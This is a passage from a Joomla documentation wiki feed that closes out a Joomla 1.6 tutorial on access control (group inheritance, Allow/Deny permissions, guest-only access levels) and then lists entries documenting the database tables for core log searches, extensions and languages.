&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:JRule&amp;diff=62267</id>
		<title>Category:JRule</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:JRule&amp;diff=62267"/>
		<updated>2011-09-25T03:24:34Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Category:JRule&amp;diff=62266</id>
		<title>Category:JRule</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Category:JRule&amp;diff=62266"/>
		<updated>2011-09-25T03:24:24Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: create a page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Tables/core_log_searches&amp;diff=62265</id>
		<title>Tables/core log searches</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Tables/core_log_searches&amp;diff=62265"/>
		<updated>2011-09-25T03:22:27Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: class=&amp;quot;wikitable&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Usage: ==&lt;br /&gt;
* Since:&lt;br /&gt;
&lt;br /&gt;
== Description: ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|+ &#039;&#039;&#039;core_log_searches Table (#__core_log_searches)&#039;&#039;&#039;&lt;br /&gt;
|- bgcolor=&amp;quot;lightgrey&amp;quot;&lt;br /&gt;
| Field || Type || Nullable || Default || Key || Extra || Comments&lt;br /&gt;
|-&lt;br /&gt;
| search_term   || varchar(128)     || NOT NULL || &#039;&#039; || || ||&lt;br /&gt;
|-&lt;br /&gt;
| hits          || integer unsigned || NOT NULL || 0  || || ||&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Notes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|+ &#039;&#039;&#039;Indices&#039;&#039;&#039;&lt;br /&gt;
|- bgcolor=&amp;quot;lightgrey&amp;quot;&lt;br /&gt;
| Index Name || Column(s) || Unique?&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* Default character set: &#039;&#039;&#039;utf8&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Tables/extensions&amp;diff=62264</id>
		<title>Tables/extensions</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Tables/extensions&amp;diff=62264"/>
		<updated>2011-09-25T03:22:05Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: class=&amp;quot;wikitable&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Usage =&lt;br /&gt;
* &#039;&#039;&#039;Since: &#039;&#039;&#039; 1.6&lt;br /&gt;
* &#039;&#039;&#039;Deprecated Since: &#039;&#039;&#039; Current&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
The extensions table is designed to hold all extensions installed into Joomla!. The extensions table also functions as the primary storage of information for plugins as of 1.6 as well as the library and package extensions added in to the 1.6 release. Additionally, modules now uses the table to gather its information for installation or uninstallation. The aim of the extensions table is to reduce the need to create a new table for each extension instead thus allowing specific tables to be created that store information that is unique to that extension instead of information that should be shared. This table is closely modelled off the plugins table with some slight additions and replaces the plugins table in the Joomla! 1.6 release.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=1&lt;br /&gt;
|+ &#039;&#039;&#039;Extensions Table&#039;&#039;&#039;&lt;br /&gt;
|- bgcolor=grey&lt;br /&gt;
! Field !! Type !! Null !! Key !! Default !! Extra !! Comments&lt;br /&gt;
|-&lt;br /&gt;
| extension_id     || int(11)             ||      || PRI || NULL                || auto_increment || Unique extension ID&lt;br /&gt;
|-&lt;br /&gt;
| name             || varchar(100)        ||      ||     ||                     ||                || Friendly name of the extension&lt;br /&gt;
|-&lt;br /&gt;
| type             || varchar(20)         ||      ||     ||                     ||                || The extension type&lt;br /&gt;
|-&lt;br /&gt;
| element          || varchar(100)        ||      ||     ||                     ||                || The unique name of the element&lt;br /&gt;
|-&lt;br /&gt;
| folder           || varchar(100)        ||      ||     ||                     ||                || The folder of the element&lt;br /&gt;
|-&lt;br /&gt;
| client_id        || tinyint(3)          ||      ||     || 0                   ||                || The client ID of the extension&lt;br /&gt;
|-&lt;br /&gt;
| enabled          || tinyint(3)          ||      ||     || 1                   ||                || The enabled status of the extension&lt;br /&gt;
|-&lt;br /&gt;
| access           || tinyint(3) unsigned ||      ||     || 0                   ||                || Primitive access control&lt;br /&gt;
|-&lt;br /&gt;
| protected        || tinyint(3)          ||      ||     || 0                   ||                || Uninstallation protection&lt;br /&gt;
|-&lt;br /&gt;
| manifest_cache   || text                ||      ||     ||                     ||                || Cache of the XML manifest file&lt;br /&gt;
|-&lt;br /&gt;
| params           || text                ||      ||     ||                     ||                || Parameters for the extensions&lt;br /&gt;
|-&lt;br /&gt;
| data             || text                ||      ||     ||                     ||                || Unused excess data field&lt;br /&gt;
|-&lt;br /&gt;
| checked_out      || int(10) unsigned    ||      ||     || 0                   ||                || Checked Out (FKEY users.id)&lt;br /&gt;
|-&lt;br /&gt;
| checked_out_time || datetime            ||      ||     || 0000-00-00 00:00:00 ||                || Checked Out Time&lt;br /&gt;
|-&lt;br /&gt;
| ordering         || int(11)             || YES  ||     || 0                   ||                || Ordering&lt;br /&gt;
|-&lt;br /&gt;
| state            || int(11)             ||      ||     || 0                   ||                || Extension State (discovered, installed, etc)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Notes =&lt;br /&gt;
Not all fields are used for all extension types. For example, plugins use the folder whilst most other extensions do not. Client ID is used by modules, templates and languages to specify which application (client) they should run in (e.g. administrator or site). The extensions table can be used to set defaults for extensions where there may exist instances of the extension (e.g. modules), however in 1.6 this does not occur. The table also features the standard checked out fields to support extension locking which is utilised by plugins. The protected field controls if an extension can be uninstalled through the administrator interface and the access is analagous to the access control field used in many other tables (typically public, registered or special). Again, extensions may wish to use this table as either the primary table (plugins) or as a &#039;defaults&#039; table or &#039;global&#039; table to control the behaviour of all instances of an extension.&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Tables/languages&amp;diff=62263</id>
		<title>Tables/languages</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Tables/languages&amp;diff=62263"/>
		<updated>2011-09-25T03:21:49Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: class=&amp;quot;wikitable&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Usage: ==&lt;br /&gt;
* Since:&lt;br /&gt;
&lt;br /&gt;
== Description: ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|+ &#039;&#039;&#039;languages Table (#__languages)&#039;&#039;&#039;&lt;br /&gt;
|- bgcolor=&amp;quot;lightgrey&amp;quot;&lt;br /&gt;
| Field || Type || Nullable || Default || Key || Extra || Comments&lt;br /&gt;
|-&lt;br /&gt;
| lang_id      || int(11) unsigned || NOT NULL ||  || PK || auto_increment ||&lt;br /&gt;
|-&lt;br /&gt;
| lang_code    || char(7)          || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| title        || varchar(50)      || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| title_native || varchar(50)      || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| sef          || varchar(50)      || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| image        || varchar(50)      || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| description  || varchar(512)     || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| metakey      || text             || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| metadesc     || text             || NOT NULL ||  ||    ||  ||&lt;br /&gt;
|-&lt;br /&gt;
| published    || int(11)          || NOT NULL || 0 ||   ||  ||&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Notes ==&lt;br /&gt;
The default Joomla! installation includes entries in the languages table for &lt;br /&gt;
the following language codes:&lt;br /&gt;
&lt;br /&gt;
* en-GB&lt;br /&gt;
* xx-XX&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|+ &#039;&#039;&#039;Indices&#039;&#039;&#039;&lt;br /&gt;
|- bgcolor=&amp;quot;lightgrey&amp;quot;&lt;br /&gt;
| Index Name || Column(s) || Unique?&lt;br /&gt;
|-&lt;br /&gt;
| idx_sef || sef || Yes&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
*&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
</feed>